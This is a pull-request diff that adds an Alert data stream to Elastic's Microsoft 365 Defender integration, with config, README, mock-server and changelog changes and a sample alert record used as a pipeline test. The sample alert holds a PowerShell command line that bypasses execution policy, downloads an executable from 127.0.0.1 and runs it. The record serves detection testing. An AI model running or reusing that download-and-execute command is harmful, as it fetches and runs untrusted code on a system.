[m365_defender] Add Support of Alert Data Stream

packages/m365_defender/_dev/build/build.yml

@@ -1,3 +1,4 @@
 dependencies:
   ecs:
     reference: "[email protected]"
+    import_mappings: true

packages/m365_defender/_dev/build/docs/README.md

@@ -2,15 +2,17 @@
 
 ## Overview
 
-The [Microsoft 365 Defender](https://learn.microsoft.com/en-us/microsoft-365/security/defender) integration allows you to monitor Incident (Microsoft Graph Security API) and Event (Streaming API) Logs. Microsoft 365 Defender is a unified pre and post-breach enterprise defense suite that natively coordinates detection, prevention, investigation, and response across endpoints, identities, email, and applications to provide integrated protection against sophisticated attacks.
+The [Microsoft 365 Defender](https://learn.microsoft.com/en-us/microsoft-365/security/defender) integration allows you to monitor Alert, Incident (Microsoft Graph Security API) and Event (Streaming API) Logs. Microsoft 365 Defender is a unified pre and post-breach enterprise defense suite that natively coordinates detection, prevention, investigation, and response across endpoints, identities, email, and applications to provide integrated protection against sophisticated attacks.
 
 Use the Microsoft 365 Defender integration to collect and parse data from the Microsoft Azure Event Hub, Microsoft Graph Security v1.0 REST API and Microsoft 365 Defender API. Then visualise that data in Kibana.
 
 For example, you could use the data from this integration to consolidate and correlate security alerts from multiple sources. Also, by looking into the alert and incident, a user can take an appropriate action in the Microsoft 365 Defender Portal.
 
 ## Data streams
 
-The Microsoft 365 Defender integration collects logs for three types of events: Event, Incident and Log.
+The Microsoft 365 Defender integration collects logs for four types of events: Alert, Event, Incident and Log.
+
+**Alert:** This data streams leverages the [M365 Defender Streaming API](https://learn.microsoft.com/en-us/graph/api/resources/security-alert?view=graph-rest-1.0) to collect alerts including suspicious activities in a customer's tenant that Microsoft or partner security providers have identified and flagged for action.
 
 **Event (Recommended):** This data streams leverages the [M365 Defender Streaming API](https://learn.microsoft.com/en-us/microsoft-365/security/defender/streaming-api?view=o365-worldwide) to collect Alert, Device, Email, App and Identity Events. Events are streamed to an Azure Event Hub. For a list of Supported Events exposed by the Streaming API and supported by Elastic's integration, please see Microsoft's documentation [here](https://learn.microsoft.com/en-us/microsoft-365/security/defender/supported-event-types?view=o365-worldwide).
 
@@ -73,6 +75,16 @@ For **Event**, in filebeat [Azure Event Hub](https://www.elastic.co/guide/en/bea
 
 ## Logs reference
 
+### alert
+
+This is the `alert` dataset.
+
+#### Example
+
+{{event "alert"}}
+
+{{fields "alert"}}
+
 ### event
 
 This is the `event` dataset.

packages/m365_defender/_dev/deploy/docker/docker-compose.yml

@@ -26,3 +26,16 @@ services:
       - --exit-on-unmatched-rule
       - --addr=:8080
       - --config=/config.yml
+  m365-defender-alert-http:
+    image: docker.elastic.co/observability/stream:v0.13.0
+    ports:
+      - 8080
+    volumes:
+      - ./alert-http-mock-config.yml:/config.yml
+    environment:
+      PORT: 8080
+    command:
+      - http-server
+      - --exit-on-unmatched-rule
+      - --addr=:8080
+      - --config=/config.yml

packages/m365_defender/changelog.yml

@@ -1,4 +1,9 @@
 # newer versions go on top
+- version: "2.7.0"
+  changes:
+    - description: Add support of Alert Data Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8950
 - version: "2.6.2"
   changes:
     - description: Fix cursor value and query building for log data stream.

packages/m365_defender/data_stream/alert/_dev/test/pipeline/test-alert.log

@@ -0,0 +1 @@
+{"id":"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1","providerAlertId":"efa1828b-dd4e-405c-8a3b-aa28596830dd_1","incidentId":"23","status":"new","severity":"medium","classification":null,"determination":null,"serviceSource":"microsoftDefenderForEndpoint","detectionSource":"microsoftDefenderForEndpoint","productName":"Microsoft Defender for Endpoint","detectorId":"7f1c3609-a3ff-40e2-995b-c01770161d68","tenantId":"3adb963c-8e61-48e8-a06d-6dbb0dacea39","title":"Suspicious PowerShell command line","description":"A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.","recommendedActions":"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.","category":"Execution","assignedTo":null,"alertWebUrl":"https:\/\/blue-sea-697d.quartiers047.workers.dev:443\/https\/security.microsoft.com\/alerts\/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","incidentWebUrl":"https:\/\/blue-sea-697d.quartiers047.workers.dev:443\/https\/security.microsoft.com\/incidents\/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39","actorDisplayName":null,"threatDisplayName":null,"threatFamilyName":null,"mitreTechniques":["T1059.001"],"createdDateTime":"2023-10-20T09:53:09.8839373Z","lastUpdateDateTime":"2023-10-20T09:54:07.5033333Z","resolvedDateTime":null,"firstActivityDateTime":"2023-10-20T09:51:39.5154802Z","lastActivityDateTime":"2023-10-20T09:51:41.9939003Z","alertPolicyId":null,"additionalData":null,"comments":[],"evidence":[{"@odata.type":"#microsoft.graph.security.deviceEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":["PrimaryDevice"],"tags":[],"firstSeenDateTime":"2023-10-20T09:50:17.7383987Z","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","azureAdDeviceId":"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14","deviceDnsName":"clw555test","osPlatform":"Windows11","osBuild":22621,"version":"22H2","healthStatus":"inactive","riskScore":"high","rbacGroupId":0,"rbacGroupName":null,"onboardingStatus":"onboarded","defenderAvStatus":"notSupported","ipInterfaces":["192.168.5.65","fe80::cfe4:80b:615c:38fb","127.0.0.1","::1"],"vmMetadata":null,"loggedOnUsers":[{"accountName":"CDPUserIS-38411","domainName":"AzureAD"}]},{"@odata.type":"#microsoft.graph.security.userEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}},{"@odata.type":"#microsoft.graph.security.urlEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"url":"https:\/\/blue-sea-697d.quartiers047.workers.dev:443\/http\/127.0.0.1\/1.exe"},{"@odata.type":"#microsoft.graph.security.ipEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"suspicious","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"ipAddress":"127.0.0.1","countryLetterCode":null},{"@odata.type":"#microsoft.graph.security.processEvidence","createdDateTime":"2023-10-20T09:53:10.1933333Z","verdict":"unknown","remediationStatus":"none","remediationStatusDetails":null,"roles":[],"detailedRoles":[],"tags":[],"processId":8224,"parentProcessId":5772,"processCommandLine":"powershell.exe  -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('https:\/\/blue-sea-697d.quartiers047.workers.dev:443\/http\/127.0.0.1\/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'","processCreationDateTime":"2023-10-20T09:51:39.4997961Z","parentProcessCreationDateTime":"2023-10-20T09:51:19.5064237Z","detectionStatus":"detected","mdeDeviceId":"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843","imageFile":{"sha1":"a72c41316307889e43fe8605a0dca4a72e72a011","sha256":"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80","fileName":"powershell.exe","filePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","fileSize":491520,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"parentProcessImageFile":{"sha1":null,"sha256":null,"fileName":"cmd.exe","filePath":"C:\\Windows\\System32","fileSize":323584,"filePublisher":"Microsoft Corporation","signer":null,"issuer":null},"userAccount":{"accountName":"CDPUserIS-38411","domainName":"AzureAD","userSid":"S-1-12-1-1485667349-1150190949-4065799612-2328216759","azureAdUserId":null,"userPrincipalName":null,"displayName":null}}]}